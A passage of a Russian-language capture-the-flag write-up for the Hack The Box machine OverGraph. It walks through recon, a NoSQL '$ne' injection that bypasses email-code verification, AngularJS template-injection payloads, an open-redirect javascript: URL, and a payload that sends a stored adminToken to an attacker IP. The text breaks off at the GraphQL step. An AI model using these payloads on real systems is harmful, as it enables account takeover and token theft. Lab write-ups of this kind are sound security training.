HTB OverGraph. Извлекаем данные через цепочку Open Redirect, RXXS и CSTI

  • Партнер

  • Содержание статьи

    • Разведка
    • Сканирование портов
    • Сканирование веб-контента
    • Точка входа
    • Точка опоры
    • CSTI
    • Open Redirect
    • GraphQL
    • Reflected XSS
    • Продвижение
    • SSRF
    • LFR
    • FFmpeg HLS SSRF
    • Локальное повышение привилегий

    В этом рай­тапе мы с тобой про­ведем мно­жес­тво ска­ниро­ваний цели, что­бы опре­делить точ­ки вхо­да, порабо­таем с GraphQL, про­экс­плу­ати­руем цепоч­ку уяз­вимос­тей Open Redirect, Reflected XSS и CSTI для кра­жи админ­ско­го токена. Затем получим дос­туп к хос­ту, про­читав SSH ключ через SSRF в FFmpeg. Все это — в рам­ках про­хож­дения слож­ной машины OverGraph с пло­щад­ки Hack The Box.

    warning

    Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

     

    Разведка

     

    Сканирование портов

    До­бав­ляем IP-адрес машины в /etc/hosts:

    10.10.11.157 overgraph.htb

    И запус­каем ска­ниро­вание пор­тов.

    Справка: сканирование портов

    Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

    На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

    #!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

    Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

    Ре­зуль­тат работы скрип­та

    От­кры­то два пор­та: 22 — служ­ба OpenSSH 8.2p1 и 80 — веб‑сер­вер Nginx 1.18.0. Nmap показал нам, что выпол­няет­ся редирект на адрес http://graph.htb. Тоже добав­ляем этот адрес в файл /etc/hosts.

    10.10.11.157 overgraph.htb graph.htb

    Глав­ная стра­ница http://graph.htb

    Сайт ока­зал­ся однос­тра­нич­ным, поэто­му нуж­но най­ти новые цели для тес­тирова­ния.

     

    Сканирование веб-контента

    Поп­робу­ем поис­кать скры­тые катало­ги и фай­лы при помощи ffuf.

    Справка: сканирование веба c ffuf

    Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

    Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

    • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
    • -t — количес­тво потоков;
    • -u — URL;
    • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

    ffuf -u 'http://graph.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

    Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

    И не находим ничего инте­рес­ного, даже в фай­ле server-status. Поэто­му поп­робу­ем прос­каниро­вать под­домены, для чего сно­ва будем исполь­зовать ffuf. К парамет­рам добавим заголов­ки -H и --fs, это поможет отсе­ять стра­ницы по раз­меру.

    ffuf -u 'http://graph.htb/' -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.graph.htb' --fs 178

    Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

    И находим новый под­домен internal. Добав­ляем его в файл /etc/hosts.

    10.10.11.157 overgraph.htb graph.htb internal.graph.htb

    Но, открыв сайт в бра­узе­ре, сра­зу натыка­емся на фор­му авто­риза­ции.

    Фор­ма авто­риза­ции http://internal.graph.htb

    Так как всю работу про­водим через Burp, то обна­ружим в Burp History обра­щение еще к одно­му домену — internal-api.graph.htb.

    Ло­ги Burp History

    До­бав­ляем еще одну запись в файл /etc/hosts и затем откры­ваем стра­ницу /graphql.

    10.10.11.157 overgraph.htb graph.htb internal.graph.htb internal-api.graph.htb

    Глав­ная стра­ница сай­та http://internal-api.graph.htb

    На стра­нице исполь­зует­ся GraphQL. Это язык зап­росов, с помощью которо­го кли­ент­ские при­ложе­ния работа­ют с дан­ными. «Схе­мы» GraphQL поз­воля­ют орга­низо­вывать соз­дание, чте­ние, обновле­ние и уда­ление дан­ных в при­ложе­нии. Давай получим дан­ные __schema и отфиль­тру­ем наз­вания типов, это мож­но сде­лать, передав в парамет­ре query сле­дующий зап­рос:

    {__schema{types{name,fields{name}}}}

    От­вет сер­вера

    От­вет сер­вера (про­дол­жение)

    На этом пока все, но мы еще не ска­ниро­вали катало­ги на новом домене. Поп­робу­ем сде­лать это. Но, как толь­ко мы обра­тим­ся к любой стра­нице, получим ответ, что зап­росы GET не под­держи­вают­ся. Поэто­му будем ска­ниро­вать зап­росом POST. А так как на домене кру­тит­ся API, то и исполь­зовать будем соот­ветс­тву­ющий сло­варь.

    ffuf -u 'http://internal-api.graph.htbFUZZ' -t 256 -X POST -w apiscan.txt

    Ре­зуль­тат ска­ниро­вания API с помощью ffuf

    И находим три новые стра­ницы, с которы­ми нач­нем работу.

     

    Точка входа

    Итак, мы име­ем сле­дующие API:

    • register — для регис­тра­ции поль­зовате­ля;
    • verify — пред­положи­тель­но для про­вер­ки при регис­тра­ции;
    • code — пока непонят­но, но, ско­рее все­го, для про­вер­ки кода, отправ­ленно­го на email.

    Я начал со стра­ницы /api/register. Переда­ем наибо­лее веро­ятные парамет­ры: имя поль­зовате­ля, пароль и адрес элек­трон­ной поч­ты.

    { "username":"ralf", "email":"[email protected]", "password":"ralf"}

    По­пыт­ка регис­тра­ции поль­зовате­ля

    Но в ответ нам говорят, что у нас невер­ный email или он не верифи­циро­ван. Это инте­рес­но, так как у нас оста­ется все­го две стра­ницы для регис­тра­ции. Видимо, стра­ница /api/code нуж­на для получе­ния кода. Отпра­вим туда свой email.

    { "email":"[email protected]"}

    По­луче­ние кода

    И нам сооб­щают, что четыре циф­ры были отправ­лены на ука­зан­ный поч­товый ящик. По тес­товому сооб­щению на стра­нице /api/verify узна­ем, что вмес­те с поч­той нуж­но при­сылать и код.

    Зап­рос к /api/verify

    Я поп­робовал переб­рать этот код с помощью Burp Intruder, бла­го ком­бинаций все­го 10 000. Но уже на одном из пер­вых зап­росов все лома­ется, так как мы пре­выси­ли количес­тво попыток!

    Со­обще­ние о пре­выше­нии количес­тва зап­росов

    Я очень дол­го про­сидел на этом эта­пе — приш­лось даже про­сить под­сказ­ки у дру­зей. Мне посове­това­ли углу­бить­ся в механизм про­вер­ки кода. Тог­да, пот­ратив еще нем­ного вре­мени, я нашел NoSQL-инъ­екцию, которая поз­воля­ет верифи­циро­вать поч­ту, пре­дос­тавляя неп­равиль­ный код. В дан­ном зап­росе мы получим положи­тель­ный резуль­тат, если код не равен 0000.

    { "email":"[email protected]", "code":{ "$ne":"0000" }}

    Ве­рифи­кация поч­ты

    При­ходит под­твержде­ние того, что поч­та верифи­циро­вана. Пов­торим регис­тра­цию и получим сооб­щение, что пароль и его под­твержде­ние не сов­пада­ют.

    По­пыт­ка регис­тра­ции поль­зовате­ля

    Тог­да я переп­робовал раз­ные име­на поля под­твержде­ния пароля и опре­делил, что в дан­ном слу­чае под­ходит confirmPassword.

    Ре­гис­тра­ция поль­зовате­ля

    И акка­унт соз­дан! Перей­дем к фор­ме авто­риза­ции на вто­ром домене и авто­ризу­емся.

    Глав­ная стра­ница http://internal.graph.htb

    А во вхо­дящих находим сооб­щение от поль­зовате­ля Sally.

    Вхо­дящие сооб­щения

    Нас про­сят прис­лать ссыл­ку. Поп­робу­ем открыть локаль­ный сер­вер и ски­нуть ссыл­ку на него. В ито­ге при­ходит зап­рос.

    Ло­ги веб‑сер­вера Python 3

    Да­вай пос­мотрим, как это мож­но исполь­зовать.

     

    Точка опоры

    Ес­ли еще раз взгля­нуть на стра­ницу, мож­но заметить над меню над­пись null null. В исходном коде есть отсылка к нашему поль­зовате­лю. А в локаль­ном хра­нили­ще бра­узе­ра (F12 → Application) най­дем запись, что это firstname и lastname.

    Ис­ходный код стра­ницы

    Ло­каль­ное хра­нили­ще бра­узе­ра

    Пе­рей­дем в нас­трой­ки про­филя и уви­дим то же самое, толь­ко с воз­можностью изме­нить эти зна­чения.

    Стра­ница Profile 

    CSTI

    Над­пись null null натол­кну­ла меня на мысль об исполь­зовании шаб­лонов. Давай про­ведем базовый тест.

    Но­вые зна­чения име­ни поль­зовате­ля

    Отоб­ражение име­ни поль­зовате­ля

    Как мож­но уви­деть, вмес­то вве­ден­ной стро­ки получа­ем резуль­таты выраже­ний, а зна­чит, есть уяз­вимость в шаб­лонах! Вот толь­ко в локаль­ном хра­нили­ще эти зна­чения хра­нят­ся, как и вво­дились. Зна­чит, шаб­лон работа­ет на кли­ент­ской сто­роне, а это уже путь для CSTI — инъ­екции шаб­лонов на сто­роне кли­ента.

    Ло­каль­ное хра­нили­ще бра­узе­ра

    Так­же я обра­тил вни­мание на параметр admin со зна­чени­ем false. Я изме­нил на true и перезаг­рузил стра­ницу. В меню появи­лась гра­фа Upload.

    Из­менен­ное меню

    Толь­ко вот фор­ма заг­рузки не дает заг­рузить файл. Если вер­немся к нашей схе­ме GraphQL, то можем пос­мотреть на необ­ходимые парамет­ры, к при­меру adminToken.

    Па­рамет­ры из схе­мы GraphQL

    Та­ким обра­зом, нам нужен adminToken поль­зовате­ля Sally. Но получить его неп­росто. Тут появил­ся сле­дующий план: если зас­тавим целево­го поль­зовате­ля выпол­нить зап­рос на сме­ну име­ни (по ссыл­кам же он перехо­дит!), то в качес­тве нового име­ни уста­новим наг­рузку CSTI, переда­ющую нам adminToken. В исходни­ках видим исполь­зование AngularJS.

    Ис­ходный код стра­ницы

    AngularJS — это популяр­ная биб­лиоте­ка JavaScript, которая ска­ниру­ет HTML на пред­мет тегов с атри­бутом ng-app (дирек­тива AngularJS). Ког­да дирек­тива добав­ляет­ся в тег, появ­ляет­ся воз­можность выпол­нять выраже­ния JavaScript в двой­ных фигур­ных скоб­ках.

    Уяз­вимость Template Injection воз­ника­ет, ког­да при­ложе­ние, исполь­зуя какой‑нибудь шаб­лониза­тор, динами­чес­ки внед­ряет поль­зователь­ский ввод в веб‑стра­ницу. Ког­да стра­ница отоб­ража­ется, фрей­мворк ищет в стра­нице шаб­лонное выраже­ние и выпол­няет его. Основное отли­чие CSTI от SSTI зак­люча­ется в том, что при CSTI мы можем добить­ся лишь выпол­нения про­изволь­ного кода на JavaScript. Две самые популяр­ные наг­рузки для CSTI в AngularJS:

    {{constructor.constructor('alert(1)')()}}{{$on.constructor('alert(1)')()}}

    Но­вое имя поль­зовате­ля

    Об­новля­ем стра­ницу и пер­вым делом видим окош­ко алер­та.

    Вы­зов alert(1) при заг­рузке стра­ницы

    А теперь поп­робу­ем эксфиль­тро­вать токен, для чего соз­дадим у себя в хра­нили­ще тес­товый.

    Ло­каль­ное хра­нили­ще бра­узе­ра

    В качес­тве наг­рузки будем исполь­зовать зна­мени­тый сти­лер, который похища­ет дан­ные через кар­тинку, а дос­туп к хра­нили­щу получим через window.localStorage.

    {{$on.constructor('new Image().src="http://10.10.14.123:8000/?a="+window.localStorage.getItem("adminToken");')()}}

    Об­новля­ем стра­ницу и в логах локаль­ного веб‑сер­вера находим зна­чение тес­тового токена.

    Ло­ги веб‑сер­вера

    Наг­рузка для эксфиль­тра­ции готова, теперь раз­берем­ся, как под­сунуть поль­зовате­лю наш код.

     

    Open Redirect

    Я сно­ва прос­мотрел все сай­ты и на самом глав­ном домене нашел что‑то вро­де редирек­та.

    Код глав­ной стра­ницы http://graph.htb

    Ес­ли сущес­тву­ет GET-параметр redirect, то фун­кция window.location.replace уста­новит в качес­тве содер­жимого текущей стра­ницы код, взя­тый по ссыл­ке из redirect. Бла­го мы можем вста­вить вмес­то URL код на JavaScript:

    http://graph.htb/?redirect=javascript:alert(1)

    Вы­пол­нение кода через JavaScript URL

    Ос­талось разоб­рать­ся с дан­ными, которые отправ­ляют­ся для изме­нения име­ни поль­зовате­ля.

     

    GraphQL

    В Burp History най­дем зап­рос, которым мы изме­нили собс­твен­ное имя.

    Зап­рос на изме­нение про­филя

    Один из парамет­ров — id поль­зовате­ля, а это нем­ного усложня­ет задачу. Сно­ва вер­немся к GraphQL и пос­мотрим, какой из типов содер­жит поле Assignedto.

    Тип task

    Нас инте­ресу­ет тип task, который мы можем получить зап­росом tasks.

    Тип Query

    Та­ким обра­зом, нам нуж­но выпол­нить зап­рос tasks с парамет­ром username, в котором мы переда­дим имя поль­зовате­ля Sally. Нас инте­ресу­ет толь­ко поле Assignedto.

    Источник: xakep.ru

    Ответить

    Ваш адрес email не будет опубликован. Обязательные поля помечены *